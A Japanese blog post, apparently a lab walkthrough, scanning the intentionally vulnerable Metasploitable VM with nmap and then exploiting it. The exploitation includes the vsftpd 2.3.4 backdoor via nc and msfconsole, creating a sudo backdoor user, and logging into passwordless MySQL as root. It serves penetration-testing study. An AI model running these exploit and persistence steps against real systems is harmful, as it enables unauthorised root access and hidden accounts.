Metasploitable への各種攻撃 その1

Metasploitable への各種攻撃

nmap でポートスキャン

nmap には様々なオプションがあり
概要やオプションに関しては
Nampスキャンの全コマンド・オプションを日本語解説|ネットワークのセキュリティーはNmapで抑えよう

を参考に

ポートスキャンせず Ping スキャンするなら
-sP や -sn オプションを使う
純粋に Ping スキャンするなら
-sn にしないと他に飛ばしているパケットの説明を求められる

これは-sP だとIMCPだけでなく
80,443 ポートにもおくるため

実験するならMetasploitable のIPを

ifconfig

で調べて

KaliLinux から

nmap -sn 192.168.1.137

とすればOK

Metasploitable でキャプチャになっているときには
右ctrl キーをおせば抜けられる

次にMetasploitable の開いているポート、サービスバージョン
OSの種類を調べる

-p-
全ポートのスキャン
ただし0番ポートと9100 は除く

-sV
サービスとバージョンの特定

-O
OSの特定
ただしバージョンまでは特定しない

これを Metasploitable に実行

nmap -sV -O -p- 192.168.1.137

結果は

Nmap scan report for 192.168.1.137
Host is up (0.00039s latency).
Not shown: 65505 closed ports
PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 2.3.4
22/tcp    open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet      Linux telnetd
25/tcp    open  smtp        Postfix smtpd
53/tcp    open  domain      ISC BIND 9.4.2
80/tcp    open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec?
513/tcp   open  login
514/tcp   open  shell?
1099/tcp  open  rmiregistry GNU Classpath grmiregistry
1524/tcp  open  bindshell   Metasploitable root shell
2049/tcp  open  nfs         2-4 (RPC #100003)
2121/tcp  open  ftp         ProFTPD 1.3.1
3306/tcp  open  mysql       MySQL 5.0.51a-3ubuntu5
3632/tcp  open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc         VNC (protocol 3.3)
6000/tcp  open  X11         (access denied)
6667/tcp  open  irc         UnrealIRCd
6697/tcp  open  irc         UnrealIRCd
8009/tcp  open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp  open  http        Apache Tomcat/Coyote JSP engine 1.1
8787/tcp  open  drb         Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
34001/tcp open  status      1 (RPC #100024)
38465/tcp open  mountd      1-3 (RPC #100005)
43648/tcp open  nlockmgr    1-4 (RPC #100021)
53119/tcp open  rmiregistry GNU Classpath grmiregistry
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port514-TCP:V=7.70%I=7%D=2/8%Time=5E3DD53C%P=x86_64-pc-linux-gnu%r(NULL
SF:,2B,"\x01Couldn't\x20get\x20address\x20for\x20your\x20host\x20\(kali\)\
SF:n");
MAC Address: 08:00:27:55:20:B9 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Hosts:  metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 128.06 seconds

となった

この中で攻撃に使われそうなのは

21/tcp    open  ftp         vsftpd 2.3.4
1524/tcp  open  bindshell   Metasploitable root shell
5900/tcp  open  vnc         VNC (protocol 3.3)

まず vsftp2.3.4 向け Exploit を探す
CVE Details

Exploit Database

などで調べることもできる

他にも
セキュリティエンジニア向けマテリアル

なども参考に

今回は Exploit Database で
検索

これによるとリモートからコマンド実行できるバックドアがあるとのこと

🙂 を含むユーザ名でFTPへログインすると
6200ポートにバックドアが開く

この状態で 6200 ポートにアクセスすることで
vsftpd の実行権限で任意のコマンドが実行できる

nc 192.168.1.137 21

というように
nc コマンドで Metasploitable のIPアドレス ポート番号
でアクセス

USER 任意のユーザ名

ユーザ名の最後に 🙂 をつける

PASS 任意のパスワード

とするとポートが開く

この状態で
別端末を
ctrl + alt + t で開き

nc -nv 192.168.1.137 6200

で接続

nc コマンドとオプションについては
使いたいときに必ず忘れる便利なコマンド「nc」

を参考に

これで
whoami コマンドで確認すると
root ユーザになっているのがわかる

whoami コマンドについては
【 whoami 】コマンド/【 groups 】コマンド――自分の名前と所属するグループを表示する

を参考に

また exploit のvsftpd_234_backdoor.rbのコードが
https://www.exploit-db.com/exploits/17491
にあり

sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n")

でランダムなユーザ名のあとに 🙂 を

sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n")

でパスワードの指定
としている

nsock = self.connect(false, {'RPORT' => 6200}) rescue nil

で6200ポートに接続できるか確認

実際に Metasploitable へ攻撃をするには

msfconsole 
use exploit/unix/ftp/vsftpd_234_backdoor 
set rhost 192.168.1.137
exploit

で実行

なお
192.168.1.137 の部分は
Metasploitable のIPアドレス

プロンプトが帰ってこないけど
コマンドの実行はできる

whoami

とすると root であることがわかる

これで

useradd -m newuser -G sudo -s /bin/bash; passwd newuser

とするとバックドア用ユーザが作成でき

Enter new UNIX password:
となったら任意のパスワードをいれ

Retype new UNIX password:
となるので同じパスワードを入力する

このシェルから抜けるには

exit

を実行すればOK

msfコンソールからも抜けるのなら

exit

を再度実行すればOK

これで Metasploitable でログインするときに
newuser でのログインが可能になる

次にDBへのアクセス
Metasploitable のポート3306 が 開いているので
mysql での接続ができる
なおデフォルトでは root パスワードが設定されていないため

mysql -h 192.168.1.137 -u root

で簡単にログインできる

show databases

でDB一覧がみれる

+--------------------+
| Database           |
+--------------------+
| information_schema |
| dvwa               |
| metasploit         |
| mysql              |
| owasp10            |
| tikiwiki           |
| tikiwiki195        |
+--------------------+

パスワードの状態を確認するには
[mysql]
use mysql;
select user,password from user;
[/sql]
を実行

結果として

+------------------+----------+
| user             | password |
+------------------+----------+
| debian-sys-maint |          |
| root             |          |
| guest            |          |
+------------------+----------+

となっているのがわかる

コメントを残す

メールアドレスが公開されることはありません。 * が付いている欄は必須項目です